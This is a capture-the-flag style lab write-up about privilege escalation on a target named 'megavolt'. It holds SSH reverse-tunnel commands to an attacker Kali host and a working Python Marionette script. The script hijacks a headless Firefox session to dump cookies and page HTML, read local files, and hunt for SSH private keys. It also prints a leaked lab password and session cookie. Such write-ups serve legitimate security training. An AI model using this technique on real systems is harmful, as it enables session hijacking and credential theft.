Surfer.Service


An unknown service, surfer.service, was identified to be loaded and running. PEAS enumerated it as well

bash-4.2$ systemctl status surfer.service > ./output.txt && cat ./output.txt
* surfer.service - Automated Web Browser
   Loaded: loaded (/usr/lib/systemd/system/surfer.service; enabled; vendor preset: disabled)
   Active: active (running) since Fri 2024-08-02 15:06:13 EDT; 7 months 9 days ago
 Main PID: 1772 (python)
   CGroup: /system.slice/surfer.service
           |- 1772 /home/alfred/.surfer/env/bin/python /home/alfred/.surfer/main.py
           |- 1773 /bin/firefox --profile /home/alfred/.surfer-profile --headless --marionette
           |- 1774 /bin/geckodriver --connect-existing --marionette-port 2828
           |- 1914 /usr/local/firefox/firefox-bin -contentproc -childID 2 -isForBrowser -prefsLen 6427 -prefMapSize 225966 -parentBuildID 20200917005511 -appdir /usr/local/firefox/browser 1773 true tab
           |- 1980 /usr/local/firefox/firefox-bin -contentproc -childID 3 -isForBrowser -prefsLen 7803 -prefMapSize 225966 -parentBuildID 20200917005511 -appdir /usr/local/firefox/browser 1773 true tab
           `-12142 /usr/local/firefox/firefox-bin -contentproc -childID 4 -isForBrowser -prefsLen 8680 -prefMapSize 225966 -parentBuildID 20200917005511 -appdir /usr/local/firefox/browser 1773 true tab
 
 
bash-4.2$ cat /usr/lib/systemd/system/surfer.service
[Unit]
Description=Automated Web Browser
After=multi-user.target
 
[Service]
Type=simple
User=alfred
TimeoutSec=30
WorkingDirectory=/home/alfred/.surfer
ExecStart=/home/alfred/.surfer/env/bin/python /home/alfred/.surfer/main.py
 
[Install]
WantedBy=multi-user.target

Looking into the service file reveals the following:

  • Systemd service (surfer.service) running an automated web browser via Python and Firefox in headless mode.
  • Uses a virtual environment (/home/alfred/.surfer/env) to execute a Python script (main.py).
  • Headless Firefox instances managed with geckodriver (Selenium/automation tool) over the marionette (Mozilla’s automation protocol) via port 2828
  • Configured with a dedicated Firefox profile (~/.surfer-profile) for persistent settings.
  • Runs under the security context of the alfred user

Based on the observation above, this is a browser automation service set up via systemd. It runs a Python script (main.py) that controls headless Firefox instances using Selenium tools (geckodriver and marionette protocol). The service operates under the user alfred with a custom Firefox profile, suggesting it’s designed for tasks like web scraping, automated testing, or background data fetching. This might be responsible for automating the ticket closing that was observed during the web enumeration phase.

Additional research reveals that geckodriver binary uses the port 4444 by default This explains the presence of the internal socket up and listening; 127.0.0.1:4444

The current user, apache, cannot access those directories.

SSH Remote Tunneling


Since both ports 2828 and 4444 are not accessible by Kali remotely as they are internal only, it requires tunneling.

bash-4.2$ ssh -f -N -R 2828:127.0.0.1:2828 kali@192.168.45.192
Could not create directory '/usr/share/httpd/.ssh'.
The authenticity of host '192.168.45.192 (192.168.45.192)' can't be established.
ECDSA key fingerprint is SHA256:j/MDiRpw1W/l8twiQiqtSsP4xEOlNkCKHsjsVaVnnTM.
ECDSA key fingerprint is MD5:33:82:15:13:a3:22:e1:47:21:0a:e3:89:b6:32:a4:35.
Are you sure you want to continue connecting (yes/no)? yes
Failed to add the host to the list of known hosts (/usr/share/httpd/.ssh/known_hosts).
kali@192.168.45.192's password: 

Remote port forwarding the target’s 127.0.0.1:2828 socket to Kali’s port 2828 over SSH

bash-4.2$ ssh -f -N -R 4444:127.0.0.1:4444 kali@192.168.45.192
Could not create directory '/usr/share/httpd/.ssh'.
The authenticity of host '192.168.45.192 (192.168.45.192)' can't be established.
ECDSA key fingerprint is SHA256:j/MDiRpw1W/l8twiQiqtSsP4xEOlNkCKHsjsVaVnnTM.
ECDSA key fingerprint is MD5:33:82:15:13:a3:22:e1:47:21:0a:e3:89:b6:32:a4:35.
Are you sure you want to continue connecting (yes/no)? yes
Failed to add the host to the list of known hosts (/usr/share/httpd/.ssh/known_hosts).
kali@192.168.45.192's password: 

Remote port forwarding the target’s 127.0.0.1:4444 socket to Kali’s port 4444 over SSH I will also tunnel the port 4444 as it’s internal only and cannot be accessed remotely. It might be related to the service.

Checking


Heading over to the port 2828 indeed shows gecko and marionetteProtocol that were speculated earlier.

Not entire sure about the port 4444

Remote debugging is not possible. This is rather expected since those Firefox instances were not launched with debugger related flags(--start-debugger-server or --remote-debugging-port)

Additionally the following were found during research:

  • Port 4444 (geckodriver):
    • Default port for geckodriver’s WebDriver service.
    • Uses WebDriver protocol with REST API
  • Port 2828 (Firefox/Marionette):
    • Used by Firefox’s Marionette remote protocol for browser automation.
    • Started with --marionette in Firefox’s command line.
    • Accepts automation commands from the Python script.
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/megavolt]
└─$ curl -s http://localhost:4444/status | jq
{
  "value": {
    "message": "Session already started",
    "ready": false
  }
}
 
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/megavolt]
└─$ curl -s http://localhost:4444/sessions | jq
jq: parse error: Invalid numeric literal at line 1, column 5
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/megavolt]
└─$ curl -s http://localhost:4444/sessions
HTTP method not allowed

It would appear that not much can be done with the geckodriver’s REST API

Python Marionette Client


┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/megavolt]
└─$ mkdir marionette ; python3 -m venv marionette/.venv ; source marionette/.venv/bin/activate ; pip3 install marionette-driver

Installing the marionette-driver module

from marionette_driver.marionette import Marionette
 
# Connect to Firefox's Marionette server
client = Marionette(host='localhost', port=2828)
client.start_session()
 
# Get current URL
print("[*] Current URL:", client.get_url())
 
# Dump all cookies (including session cookies)
cookies = client.get_cookies()
print("[*] Cookies:")
for cookie in cookies:
    print(f"{cookie['name']} = {cookie['value']}")
 
# Get page HTML (could contain credentials)
html = client.execute_script("return document.documentElement.outerHTML")
with open("page_dump.html", "w") as f:
    f.write(html)
print("[+] Saved page HTML to page_dump.html")
 
# Attempt to read file
client.navigate("file:///home/alfred/.surfer/main.py")
file_content = client.find_element("tag name", "pre").text
print("[!] contents:\n", file_content)
 
# Check for SSH keys
client.navigate("file:///home/alfred/.ssh/id_rsa")
private_key = client.find_element("tag name", "pre").text
if "BEGIN RSA PRIVATE KEY" in private_key:
    print("[!] Found SSH private key")
 
client.delete_session()

I create a simple script to perform various tasks

┌──(.venv)─(kali㉿kali)-[~/PEN-200/PG_PRACTICE/megavolt/marionette]
└─$ python3 check.py   
[*] Current URL: http://localhost/scp/index.php
[*] Cookies: OSTSESSID=pofmb0rqcnmmula1fed0fhm1hm
[+] Saved page HTML to page_dump.html
[!] contents:
 #!/usr/bin/env python3
 
import logging
import signal
import sys
import time
from surfer import Surfer
 
formatter = logging.Formatter('%(asctime)s - %(levelname)s - %(message)s')
handler = logging.StreamHandler(sys.stdout)
handler.setFormatter(formatter)
log = logging.getLogger()
log.setLevel(logging.DEBUG)
log.addHandler(handler)
 
username = 'alfred'
password = 'FlameGulpAstound120'
 
def handle_exit(surfer):
    def handler(signum, frame):
        log.info('termination signal received')
        surfer.stop()
    return handler
 
class MegavoltSurfer(Surfer):
    def __init__(self):
        Surfer.__init__(
            self,
            firefox_binary='/bin/firefox',
            geckodriver_binary='/bin/geckodriver',
            firefox_profile='/home/alfred/.surfer-profile'
        )
 
    def surf(self):
        self.session.url = 'http://localhost/scp/login.php'
        self.session.wait_for_page_to_load()
 
        username_text = self.session.find.css('input[type="text"]')[0]
        username_text.send_keys(username)
        time.sleep(.5)
 
        password_text = self.session.find.css('input[type="password')[0]
        password_text.send_keys(password)
        time.sleep(.5)
 
        login_btn = self.session.find.css('button[type="submit"]')[0]
        login_btn.click()
        self.session.wait_for_page_to_load()
        log.info('logged in')
 
        if self.session.url != 'http://localhost/scp/index.php':
            log.error('login failed')
            return
 
        # read and close tickets
        tickets = self.session.find.css('a.preview')
        if len(tickets) == 0:
            log.info('all tickets processed')
            return
 
        tickets[0].click()
        self.session.wait_for_page_to_load()
 
        files = self.session.find.css('a.filename')
        if len(files) > 0:
            log.info('viewing attachment')
            files[0].click()
            time.sleep(.5)
            self.session.wait_for_page_to_load()
            if 'file.php' in self.session.url:
                log.info('reading the attachment')
                time.sleep(10)
                self.session.back()
            else:
                log.info('ignoring attachment')
            self.session.wait_for_page_to_load()
 
        log.info('closing the ticket')
        time.sleep(1)
        response_text = self.session.find.css('div.redactor-editor')[0]
        response_text.click()
        response_text.send_keys('Apologies, but due to short staffing all tickets will be closed unless urgent.')
 
        status_option = self.session.find.css('select[name="reply_status_id"] > option[value="2"]')[0]
        status_option.click()
 
        post_reply_btn = self.session.find.css('input[value="Post Reply"]')[0]
        post_reply_btn.click()
        self.session.wait_for_page_to_load()
 
if __name__ == '__main__':
    log.info('starting surfer')
    surfer = MegavoltSurfer()
    signal.signal(signal.SIGTERM, handle_exit(surfer))
    signal.signal(signal.SIGINT, handle_exit(surfer))
    surfer.run()
 
 
 
Traceback (most recent call last):
 
[...REDACTED...]

Executing the script extracted the following:

  • The current URL: http://localhost/scp/index.php
  • Cookie: OSTSESSID=pofmb0rqcnmmula1fed0fhm1hm
  • /home/alfred/.surfer/main.py file
    • leaks the web credential; alfred:FlameGulpAstound120
    • performs the ticket closing automation
bash-4.2$ su alfred
Password: FlameGulpAstound120
 
su: Authentication failure

Unfortunately, there is no credential recuse or SSH private key. N/A